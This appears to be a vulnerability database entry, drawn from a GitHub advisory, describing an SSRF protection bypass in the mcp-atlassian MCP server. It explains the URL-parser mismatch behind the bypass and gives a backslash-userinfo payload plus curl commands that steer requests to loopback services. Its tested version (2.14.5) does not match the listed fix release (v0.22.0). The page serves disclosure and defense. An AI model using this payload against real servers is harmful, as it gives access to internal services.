Browse / MCP and Tool Server Flaws / CVE-2026-77274
MCP Atlassian: SSRF Protection Bypass
- Class
- MCP and Tool Server Flaws (filed by a model that read the advisory)
- Technique
- Server-side request forgery
- Affected
- mcp-atlassian (PyPI)
- Gets past
- SSRF protection
- CVSS
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
- EPSS
- 0.3% chance of exploitation in 30 days
How it works, in short
A backslash-based userinfo trick makes the URL validator check a harmless hostname while the actual request goes to a loopback or internal address. (Our summary, written by a model. The source text is below.)
Details
Environment
- Project:
sooperset/mcp-atlassian - Affected function:
validate_url_for_ssrf() - Affected path: header-based Jira/Confluence URL authentication flow
- Tested endpoint:
POST /mcp - Tested version:
2.14.5
Description
The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.
Affected code:
parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)
Payload:
http://127.0.0.1:6666\@www.baidu.com
For this input, urllib.parse.urlparse() treats the hostname as:
www.baidu.com
Therefore, validate_url_for_ssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:
http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself
This allows an attacker-controlled Jira URL to target loopback or internal services.
Proof of Concept
Start a local HTTP server:
python3 -m http.server 6666 --bind 127.0.0.1
Start mcp-atlassian with streamable HTTP transport on port 9000.
Initialize an MCP session with the malicious Jira URL:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'
Send the initialized notification using the returned Mcp-Session-Id:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'mcp-session-id: <SESSION_ID>' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","method":"notifications/initialized"}'
Trigger Jira fetcher creation and token validation:
curl -i http://127.0.0.1:9000/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'mcp-session-id: <SESSION_ID>' \
-H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
-H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
--data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}'
Observed response:
<img width="1505" height="442" alt="image" src="https://github.com/user-attachments/assets/f98a2ad6-8bc2-453c-9ef8-481dd991bc8e" />
The local HTTP server also receives the request, confirming SSRF.
<img width="891" height="131" alt="image" src="https://github.com/user-attachments/assets/3bbeb142-2aae-4d1d-ae65-7f57015325c6" />
Root Cause
The security validation and the actual HTTP request do not use the same URL interpretation.
validate_url_for_ssrf()usesurllib.parse.urlparse()and validatesparsed.hostname.- For the payload,
parsed.hostnameiswww.baidu.com. - The actual request is sent by the Atlassian client through
requests.Session. requeststreats the target as127.0.0.1:6666and percent-encodes the backslash into the request path.
This parser mismatch allows a restricted host to be hidden before \@.
Impact
An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.
References
- https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266
- https://nvd.nist.gov/vuln/detail/CVE-2026-77274
- https://github.com/sooperset/mcp-atlassian/pull/1448
- https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460
- https://github.com/sooperset/mcp-atlassian
- https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0
Source: GitHub Advisory Database, used under CC BY 4.0.